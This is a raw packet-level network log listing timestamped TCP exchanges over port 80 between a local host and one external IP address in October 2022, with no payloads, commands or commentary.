Oct 3, 2022 17:35:24.328505993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.328532934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.328536987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.328578949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.328984022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329015017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329040051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329056025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329097033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329150915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329180956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329206944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329209089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329231977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329246998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329271078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329282045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329299927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329308987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329334021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329334974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329360008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329361916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329386950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329389095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329411983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.329417944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329447985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.329473019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.330054998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.330087900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.330113888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.330142975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.330142975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.330171108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.330195904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.330198050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.330241919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.330277920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.331195116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331232071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331259012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331285000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331300974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.331311941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331332922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.331341028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331387043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.331418991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.331439018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331468105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331494093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331509113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.331521034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.331556082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.331600904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.332027912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332062960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332089901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332118034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332118034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.332145929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332168102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.332175016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332201004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332212925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.332227945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332256079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.332258940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.332304955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335464001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335500956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335529089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335556030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335582972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335591078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335609913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335611105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335637093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335664034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335665941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335688114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335695982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335716009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335736990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335742950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335768938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335776091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335797071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335812092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335824966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335841894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335851908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335880041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335880995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335905075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335920095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335932970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335959911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335962057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.335987091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.335998058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.336014032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336040020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.336040974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336067915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336074114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.336095095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336107016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.336121082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336131096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.336147070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336152077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.336168051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336191893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336220026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.336220980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.336261988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.338835001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.338897943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.338929892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.338957071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.338978052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.338984013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.339011908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.339019060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.339057922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.340414047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.340451956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.340500116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.340502977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.340526104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.340545893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.340562105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.340590000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.340610981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.340617895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.340641022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.340643883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.340662003 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.340681076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341545105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341576099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341603041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341604948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341629982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341635942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341659069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341670990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341686010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341698885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341712952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341718912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341741085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341749907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341767073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.341785908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.341813087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.343396902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.343411922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.343446016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.343472004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.343472004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.343498945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.343498945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.343524933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.343530893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.343549967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.343579054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.347417116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347456932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347485065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347507954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347531080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.347532034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347548962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.347554922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347573042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347587109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.347590923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347608089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347611904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.347625017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347640991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347649097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.347659111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347676039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.347686052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.347712040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.348659039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.348676920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.348695040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.348736048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.348762989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349075079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349102974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349121094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349127054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349138021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349158049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349189043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349225044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349246025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349262953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349265099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349283934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349304914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349438906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349462032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349482059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349495888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.349513054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.349551916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.355331898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.355370998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.355398893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.355424881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.355449915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.355462074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.355474949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.355506897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.355525017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.368855953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.369091034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380162954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380204916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380232096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380250931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380256891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380275011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380283117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380295038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380307913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380330086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380335093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380353928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380361080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380392075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380413055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380414009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380428076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380439997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380459070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380481005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380496979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380517960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380537987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380599976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380610943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380625963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380650043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380651951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380671978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380676985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380702019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380705118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380723000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380727053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380740881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380753040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380760908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380779982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380791903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380805969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380814075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380831957 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380844116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380856991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380877972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380882978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380906105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380909920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380923986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380935907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380942106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380961895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.380975008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.380987883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.381000996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.381012917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.381026030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.381038904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.381055117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.381076097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388557911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388602018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388628006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388628960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388654947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388654947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388683081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388683081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388705969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388710022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388721943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388736010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388742924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388762951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388775110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388787985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388812065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388813972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388835907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388837099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388858080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388859987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388876915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388884068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388897896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388907909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388919115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388931036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388945103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388957024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388962030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.388983011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.388995886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389009953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389022112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389036894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389059067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389061928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389086008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389086962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389107943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389112949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389122963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389139891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389161110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389166117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389189959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389190912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389208078 CEST	49703	80	192.168.2.7	193.38.55.180
